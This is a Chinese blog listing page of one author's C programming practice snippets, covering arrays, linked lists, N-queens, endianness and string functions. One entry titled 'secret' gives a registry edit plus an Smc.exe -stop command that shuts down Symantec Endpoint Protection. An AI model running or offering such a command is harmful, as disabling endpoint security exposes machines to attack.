【学习小记】
wangyan_0804
这个作者很懒,什么都没留下…
展开
-
重学c语言_2
/**************************************************************/ /*File: program_1_2.c */ /*Introduction:数组的应用 */ /*****原创 2011-09-29 21:53:40 · 192 阅读 · 0 评论 -
杨氏矩阵
#include #define ROW 4 #define COL 4 int youngSearch(int * YOUNG, int search); void main() { int young[][COL] = {{1,4,5,9},{3,7,8,10},{4,8,9,11},{6,9,11,13}}; int search; printf("input the原创 2012-08-17 09:41:40 · 211 阅读 · 0 评论 -
秘密
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\Symantec Endpoint Protection\SMC" /v smc_exit_test /t REG_DWORD /d 0 /f "C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe" -stop原创 2012-08-17 14:08:36 · 294 阅读 · 0 评论 -
数组最大和
#include void main() { int array[8] = {1,-1,10,-5,9,3,4,-2}; int sum = 0; int i = 0; int max = array[0]; for(;i { if(sum >= 0) { sum = sum + array[i]; } else { su原创 2012-08-17 08:59:58 · 180 阅读 · 0 评论 -
代码区只读,不能赋值,小心二级指针指向后也要注意。
#include static char *pstr = "hello"; void fun(char **p); void main() { char *p = NULL; fun(&p); printf("%s\n", p); //*ptsr = "wangyan"; //*p = "wangyan"; //printf("%s\n",原创 2012-08-17 11:20:29 · 1861 阅读 · 0 评论 -
单链表未完成
#include #include typedef char TYPE; typedef struct Node { TYPE value; struct Node * next; }ListNode; ListNode * creatList(const TYPE *data); ListNode * insertList(const ListNode * head,原创 2012-08-20 17:18:27 · 215 阅读 · 0 评论 -
时间加一秒
#include typedef struct carryMem { int *pCarry; int carry; int mybit; int date[6]; }CARRY; CARRY isCarry(CARRY car); int isLeapYear(int year); int calcDays(CARRY car); int main(void) {原创 2012-08-16 13:38:56 · 481 阅读 · 0 评论 -
猜数字
#include int myRand(int SEED); int compare(const int * right,int *in); void main() { int randNum[2] = {0,0}; int input[2]; int i = 0; int flag = 0; int times = 0; randNum[0] = myRand(1原创 2012-08-16 14:06:46 · 206 阅读 · 0 评论 -
螺旋魔方
#include #include #define N 5 int cube[N][N]; int left = 0; int right = N-1; int top = 0; int botton = N-1; int num = 1; void trend(int tr); int main() { int k; int i, j; for(k=1;k原创 2012-08-16 13:46:18 · 551 阅读 · 0 评论 -
皇后位运算 原出处忘了
#include int sum = 0; int limit = 1; void compare(int row, int left, int right); void main() { int n = 0; printf("input queens num.\n"); scanf("%d",&n); limit = (limit compare(0,0,0);转载 2012-08-16 14:26:02 · 262 阅读 · 0 评论 -
strdup
#include #include char * strdup(const char * p); void main() { char *p; char sou[10] = "abc"; p = strdup(sou); printf(p); } char * strdup(const char * p) { int len = strlen(p); char原创 2012-08-16 14:25:14 · 277 阅读 · 0 评论 -
重学c语言_1
声明程序来源------ARM嵌入式Linux系统开发技术详解 杨水清 等人著 /**************************************************************/ /*File: program_1_1.c原创 2011-09-28 21:50:04 · 232 阅读 · 0 评论 -
重学c语言_3
声明同“重学c语言_1” #include #include int main(){ char str[] = "123c# D; WwEd@$%^&*\ts[e?\n"; int i ; for(i=0;str[i]!=0;i++)原创 2011-10-04 16:56:40 · 904 阅读 · 0 评论 -
动态数组
#include void main() { int n; int m; int max; int i, j; char *p; int *q; printf("输入行数。\n"); scanf("%d",&m); q = (int *)malloc(m*sizeof(int)); for(i=0;i { printf("输入第%d原创 2012-08-16 13:47:54 · 162 阅读 · 0 评论 -
字符串比较
#include int STRCMP(char *source, char *dest); void main() { char a[10] = "wangyan"; char b[10] = "wangya"; printf("%d\n",STRCMP(a,b)); } //如果两个字符串相等则返回0,否则返回-1 int STRCMP(char *source,原创 2012-08-16 14:08:16 · 185 阅读 · 0 评论 -
兔子洞位运算
#include int main() { int holeBit = 0; int change = 1; int changeBit = 0; int i; int hole = 1 int inHole = 1 for(i=0;i { holeBit = holeBit + change; ch原创 2012-08-16 14:23:54 · 275 阅读 · 0 评论 -
打字游戏
#include #include #include int getRandChar(static unsigned SEED); int * showChar(int num); void main() { int i = 0; int *p = showChar(6); char input[100]; int rightNum = 0; double time原创 2012-08-16 14:26:34 · 348 阅读 · 0 评论 -
格式输出符 把我给玩了,很简单一道题
#include int lowScore(float * score, int num, float * ptr_aver); void main() { float stuScore[8] = {80.5,60,72,90.5,98,51.5,88,64}; float aver = 1; float * p = &aver; printf("%d",lowScore(原创 2012-08-16 17:09:28 · 340 阅读 · 0 评论 -
端序测试
#include void main() { int a = 0x41424344; int i = 0; char *p = &a; printf("A B C D\n"); for(i = 0; i { printf("%d\t",(p+i)); printf("%c\n",*(p+i)); } if (*(p+1) printf("小原创 2012-08-16 14:24:30 · 658 阅读 · 0 评论 -
字符串左旋转 //Copyright@ 小桥流水 && July
#include #include char * invert(char * start, char *end); char * left(char * s, int pos); int main() { char s[] = "abcdefghij"; puts(left(s, 3)); return 0; } char *invert(char * start,转载 2012-08-16 14:23:09 · 564 阅读 · 0 评论